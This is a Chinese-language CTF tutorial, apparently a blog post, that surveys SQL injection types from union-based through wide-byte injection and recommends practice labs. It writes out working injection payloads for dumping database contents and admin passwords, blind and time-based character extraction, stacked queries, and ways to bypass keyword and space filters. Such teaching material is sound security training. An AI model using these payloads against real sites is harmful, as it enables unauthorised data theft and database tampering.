在CTF比赛中,SQL注入题目通常围绕几种经典且实用的注入类型设计。以下是 最常用的注入类型 及其利用场景、技巧和示例:
1. 联合查询注入(Union-Based Injection)
- 使用频率:⭐️⭐️⭐️⭐️⭐️
- 场景:页面直接回显查询结果(如用户列表、搜索结果显示)。
- 关键步骤:
- 闭合引号:通过
'或"破坏原查询,构造合法语法。 - 猜列数:使用
ORDER BY或UNION SELECT确定列数。' ORDER BY 3-- -- 判断列数(假设3列时页面正常) ' UNION SELECT 1,2,3-- -- 确认回显位置(如页面显示2和3) - 泄露数据:替换回显位为查询语句。
' UNION SELECT 1, database(), user()--
- 闭合引号:通过
- CTF考点:列数匹配、数据类型匹配、绕过过滤(如
UNION被过滤时用UniOn)。
2. 布尔盲注(Boolean-Based Blind Injection)
- 使用频率:⭐️⭐️⭐️⭐️
- 场景:页面无回显,但会根据SQL条件返回不同状态(如“存在/不存在”)。
- 关键步骤:
- 闭合逻辑:构造条件语句触发页面差异。
' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'-- - 逐位爆破:通过二分法或脚本枚举字符。
# 示例脚本逻辑 if 页面正常: return "字符正确" else: return "字符错误"
- 闭合逻辑:构造条件语句触发页面差异。
- CTF考点:条件构造、自动化脚本编写(Python + Requests库)。
3. 报错注入(Error-Based Injection)
- 使用频率:⭐️⭐️⭐️
- 场景:页面直接返回数据库错误信息(如MySQL的语法错误)。
- 关键步骤:
- 触发报错:利用函数强制报错并回显数据。
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)-- - 提取信息:从错误信息中提取目标数据(如数据库名、表名)。
- 触发报错:利用函数强制报错并回显数据。
- CTF考点:报错函数的使用(如
extractvalue、updatexml、exp)。
4. 时间盲注(Time-Based Blind Injection)
- 使用频率:⭐️⭐️⭐️
- 场景:页面无任何回显差异,但可通过响应时间判断条件真假。
- 关键步骤:
- 构造延迟:利用时间函数(如
SLEEP()、BENCHMARK())。' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)-- - 时间判断:若页面响应延迟5秒,则说明条件成立。
- 构造延迟:利用时间函数(如
- CTF考点:时间函数的绕过(如
SLEEP被过滤时用pg_sleep或笛卡尔积延时)。
5. 堆叠查询注入(Stacked Queries)
- 使用频率:⭐️⭐️
- 场景:支持多语句执行的数据库(如SQL Server、PHP +
mysqli_multi_query)。 - 关键步骤:
'; INSERT INTO logs (data) VALUES ('hacked');-- - CTF考点:权限要求高,通常用于修改数据或写入文件(如
SELECT ... INTO OUTFILE)。
6. 宽字节注入(Wide-Character Injection)
- 使用频率:⭐️⭐️
- 场景:后端使用GBK等宽字符集且未正确处理转义(
'被转义为\')。 - 关键步骤:
%bf' OR 1=1--%bf与转义符\(URL编码为%5c)结合为合法字符%bf%5c,使引号逃逸。
- CTF考点:字符编码漏洞的利用。
CTF中SQL注入的通用技巧
-
闭合引号与注释符:
- 数字型注入无需闭合引号:
?id=1 OR 1=1。 - 字符型注入需闭合:
?id=1' OR '1'='1。 - 注释符:
--(空格需保留)、#、/*。
- 数字型注入无需闭合引号:
-
绕过过滤:
- 关键字过滤:使用大小写、内联注释、编码(
UNI/**/ON)。 - 空格过滤:用
/**/、%09(Tab)、%0a(换行)代替。 - 引号过滤:用
Hex编码或CHAR()函数(SELECT CHAR(97)=a)。
- 关键字过滤:使用大小写、内联注释、编码(
-
快速利用工具:
- 手工测试后,可用
sqlmap自动化利用(但CTF通常要求手注)。
- 手工测试后,可用
经典CTF题目示例
-
联合查询:
- 题目:页面显示用户信息,目标获取管理员密码。
- 解法:
' UNION SELECT 1,password,3 FROM users WHERE username='admin'--
-
布尔盲注:
- 题目:登录框无回显,但返回“用户存在/不存在”。
- 解法:脚本爆破密码每一位:
admin' AND password LIKE 'a%'--
-
报错注入:
- 题目:搜索框返回数据库错误信息。
- 解法:
' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--
推荐练习平台
- SQLi Labs:专为SQL注入设计的靶场。
- PortSwigger Web Security Academy:包含多种注入场景。
- CTF平台:Hack The Box、CTFtime、攻防世界(XCTF)。
掌握这些类型和技巧后,结合靶场实践,能快速提升CTF中SQL注入的解题能力!
CTF中SQL注入类型、技巧与练习平台
1385

被折叠的 条评论
为什么被折叠?



